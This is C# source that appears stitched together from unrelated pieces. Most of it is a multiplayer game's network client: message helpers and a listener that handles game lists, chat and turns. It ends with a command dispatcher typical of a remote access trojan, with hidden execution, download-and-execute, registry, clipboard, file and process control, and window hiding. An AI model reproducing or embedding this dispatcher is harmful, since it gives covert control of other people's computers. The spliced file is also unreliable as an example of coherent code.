/// <summary>
/// Helper method to reduce duplicate LOC
/// </summary>
/// <param name="node">The node to send the message to</param>
/// <param name="command">The command</param>
/// <param name="payload">The payload that corresponds with the command</param>
public async Task SendMessageToNode(NetworkNode node, NetworkCommand command, ISerializableComponent payload)
{
IPEndPoint endpoint = node.DirectEndpoint ?? node.ListenEndpoint;
var msg = new Message(command.ToString(), payload);
await node.SendMessageAsync(msg);
_logger.LogDebug("Sent {0} message to node {1} on port {2}", command.ToString(), endpoint.Address.ToString(), endpoint.Port);
}
/// <summary>
/// Helper method to reduce duplicate LOC
/// </summary>
/// <param name="node">The node to receive the message from</param>
public async Task <Message> ExpectMessageFromNode(NetworkNode node, NetworkCommand expectedCommand)
{
var msg = await ListenForNewMessage(node, new TimeSpan(0, 0, NetworkConstants.ExpectMsgTimeoutSeconds));
if (msg.Command != expectedCommand.ToString())
{
throw new ArgumentException("Expected command to be " + expectedCommand.ToString() + " but received " + msg.Command);
}
return(msg);
}
private async void ClientListener()
{
byte[] cmdBuffer = new byte[16];
byte[] dataBuffer = new byte[64 * 1024];
int errors = 0;
while (GD.weAreAlive && localListenerAlive)
{
try {
// Enter the listening loop.
int len = 0;
while (GD.weAreAlive && localListenerAlive)
{
len += await stream.ReadAsync(cmdBuffer, 0, 16);
if (len == 0)
{
// We did not receive anything, just wait a couple of seconds
Thread.Sleep(2000);
continue;
}
if (len < 16)
{
continue;
}
NetworkCommand cmd = NetworkManager.GetCommand(cmdBuffer, out int paramLen);
len = 0;
while (len < paramLen)
{
len += await stream.ReadAsync(dataBuffer, len, dataBuffer.Length - len);
if (len == 0)
{
// We did not receive anything, just wait a couple of seconds
Thread.Sleep(2000);
continue;
}
}
GD.DebugLog("Received command: " + cmd.ToString(), GD.LT.Debug);
// Process the command
switch (cmd)
{
case NetworkCommand.UpdateGames:
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
type = ServerMessages.GameListUpdated
});
break;
case NetworkCommand.Pong:
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
type = ServerMessages.PingAnswer, message = System.Text.Encoding.UTF8.GetString(dataBuffer, 0, paramLen)
});
break;
case NetworkCommand.GamesList:
OnServerMessage?.Invoke(this, ReceiveGameList(dataBuffer, paramLen));
break;
case NetworkCommand.PlayersList:
OnServerMessage?.Invoke(this, ReceivePlayersList(dataBuffer, paramLen));
break;
case NetworkCommand.GameCreated:
currentGameID = BitConverter.ToUInt64(dataBuffer, 0);
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
type = ServerMessages.GameCreated, message = "Game \"" + currentGameID + "\" created and joined"
});
break;
case NetworkCommand.Joined:
currentGameID = BitConverter.ToUInt64(dataBuffer, 0);
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
type = ServerMessages.GameJoined, message = currentGameID.ToString()
});
break;
case NetworkCommand.Left:
currentGameID = 0;
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
type = ServerMessages.GameLeft, message = System.Text.Encoding.UTF8.GetString(dataBuffer, 0, paramLen)
});
break;
case NetworkCommand.GameDeleted:
ulong theDeletedGame = BitConverter.ToUInt64(dataBuffer, 0);
if (currentGameID == theDeletedGame)
{
currentGameID = 0;
}
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
type = ServerMessages.GameDeleted, message = theDeletedGame.ToString()
});
break;
case NetworkCommand.GameCanStart:
currentGameID = BitConverter.ToUInt64(dataBuffer, 1);
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
type = ServerMessages.GameCanStart, message = (dataBuffer[0] == 1 ? "Y" : "N") + currentGameID
});
break;
case NetworkCommand.Error:
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
type = ServerMessages.Error, message = System.Text.Encoding.UTF8.GetString(dataBuffer, 0, paramLen)
});
break;
case NetworkCommand.ReceiveChat:
OnChat?.Invoke(this, ReceiveChat(dataBuffer));
break;
case NetworkCommand.SetPlayersFromGame:
OnServerMessage?.Invoke(this, ReceiveGamePlayersList(dataBuffer));
break;
case NetworkCommand.StartingTheGame:
OnServerMessage?.Invoke(this, StartingTheGame(dataBuffer));
break;
case NetworkCommand.GetRunningGame:
DecodeReceivedMultiplayerGame(dataBuffer);
break;
case NetworkCommand.PlayerDeath:
HandlePlayerDeath(dataBuffer);
break;
case NetworkCommand.GameProgressUpdate:
HandleGameProgressUpdate(dataBuffer);
break;
case NetworkCommand.GameTurn:
HandleGameTurnUpdate(dataBuffer);
break;
default:
GD.DebugLog("Unknown command: |" + cmd.ToString() + "|", GD.LT.Log);
break;
}
errors = 0;
}
} catch (ThreadAbortException) {
localListenerAlive = false;
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
message = this.ToString() + " Thread terminated", type = ServerMessages.Info
});
} catch (ThreadInterruptedException) {
localListenerAlive = false;
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
message = this.ToString() + " Thread terminated", type = ServerMessages.Info
});
} catch (SocketException e) {
GD.DebugLog("SocketException when communicating with server: " + e.Message, GD.LT.Warning);
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
message = "SocketException when communicating with server: " + e.Message, type = ServerMessages.Error
});
if (!tcpClient.Connected)
{
errors = 10; // To quit quickly
}
errors++;
} catch (ObjectDisposedException e) {
if (GD.weAreAlive)
{
GD.DebugLog("Disposed Object Exception when communicating with server: " + e?.Message, GD.LT.Warning);
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
message = "Disposed Object Exception when communicating with server: " + e?.Message, type = ServerMessages.Error
});
errors = 10;
}
} catch (System.AccessViolationException e) {
GD.DebugLog("Exception when communicating with server: " + e?.Message, GD.LT.DebugST);
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
message = "Exception when communicating with server: " + e?.Message, type = ServerMessages.Error
});
if (!tcpClient.Connected)
{
errors = 10; // To quit quickly
}
errors++;
}
if (errors > 10)
{
GD.DebugLog(this.ToString() + ": exiting for consecutive errors. Probably the server connection is gone.", GD.LT.Warning);
OnServerMessage?.Invoke(this, new NetworkManager.ServerMessage {
type = ServerMessages.Error, message = "Connection with the server is lost!"
});
GD.weAreAlive = false;
}
}
}
public void OnDataRecieved(object[] data)
{
NetworkCommand command = (NetworkCommand)data[0];
Console.WriteLine("NetworkCommand: {0}", command.ToString());
if (command == NetworkCommand.TaskManager)
{
TaskManagerHandler.Handle(data);
}
if (command == NetworkCommand.RegistryEdit)
{
RegistryEditorHandler.Handle(data);
}
if (command == NetworkCommand.FileManager)
{
FileManagerHandler.Handle(data);
}
if (command == NetworkCommand.Console)
{
ConsoleHandler.Handle(data);
}
if (command == NetworkCommand.Clipboard)
{
ClipboardHandler.Handle(data);
}
if (command == NetworkCommand.StartupManager)
{
StartupHandler.Handle(data);
}
if (command == NetworkCommand.Connections)
{
ConnectionsHandler.Handle(data);
}
if (command == NetworkCommand.Close)
{
Environment.Exit(0);
}
if (command == NetworkCommand.Restart)
{
MiscHandler.Restart();
}
if (command == NetworkCommand.Ping)
{
NetworkHost.Send((byte)NetworkCommand.Pong);
}
if (command == NetworkCommand.Execute)
{
MiscHandler.Execute((string)data[1]);
}
if (command == NetworkCommand.ExecuteHidden)
{
MiscHandler.ExecuteHidden((string)data[1]);
}
if (command == NetworkCommand.DeleteFile)
{
MiscHandler.DeleteFile((string)data[1]);
}
if (command == NetworkCommand.DownloadAndExecute)
{
MiscHandler.DownloadAndExecute((string)data[1], ".exe");
}
if (command == NetworkCommand.DownloadFile)
{
MiscHandler.DownloadFile((string)data[1], (string)data[2]);
}
if (command == NetworkCommand.KillProcess)
{
MiscHandler.KillProcess((int)data[1]);
}
if (command == NetworkCommand.SuspendProcess)
{
MiscHandler.SuspendProcess((int)data[1]);
}
if (command == NetworkCommand.ResumeProcess)
{
MiscHandler.ResumeProcess((int)data[1]);
}
if (command == NetworkCommand.HideWindow)
{
MiscHandler.HideWindow((int)data[1]);
}
}
